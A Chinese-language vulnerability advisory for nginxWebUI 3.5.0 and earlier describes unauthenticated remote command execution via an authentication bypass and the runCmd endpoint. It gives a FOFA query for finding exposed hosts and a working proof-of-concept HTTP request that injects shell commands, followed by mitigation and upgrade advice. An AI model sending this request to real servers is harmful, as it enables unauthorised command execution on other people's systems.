nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。
nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。
nginxWebUI <= 3.5.0
FOFA:app=“nginxWebUI”
PoC
GET /AdminPage/conf/runCmd?cmd=执行的命令%26%26echo%20nginx HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
PS:特殊字符需URL编码
该漏洞属于命令拼接漏洞,所以可使用WAF进行防护。但是低版本同时存在权限绕过问题,该问题使用防护设备无法缓解。建议如非必要,不要将该系统暴露在互联网上。
官方已发布了新版本修复了权限绕过漏洞,并且在一定程度上缓解了远程命令执行的风险。建议用户前往官网更新至最新版本。
另外由于官方过滤用户输入的方式并不严格,导致后台可能依旧存在命令执行的风险,可通过使用强口令降低风险。
百度网盘链接:https://pan.baidu.com/s/1kCG5D4PMwY5wKeR47yL6iA?pwd=6666
提取码:6666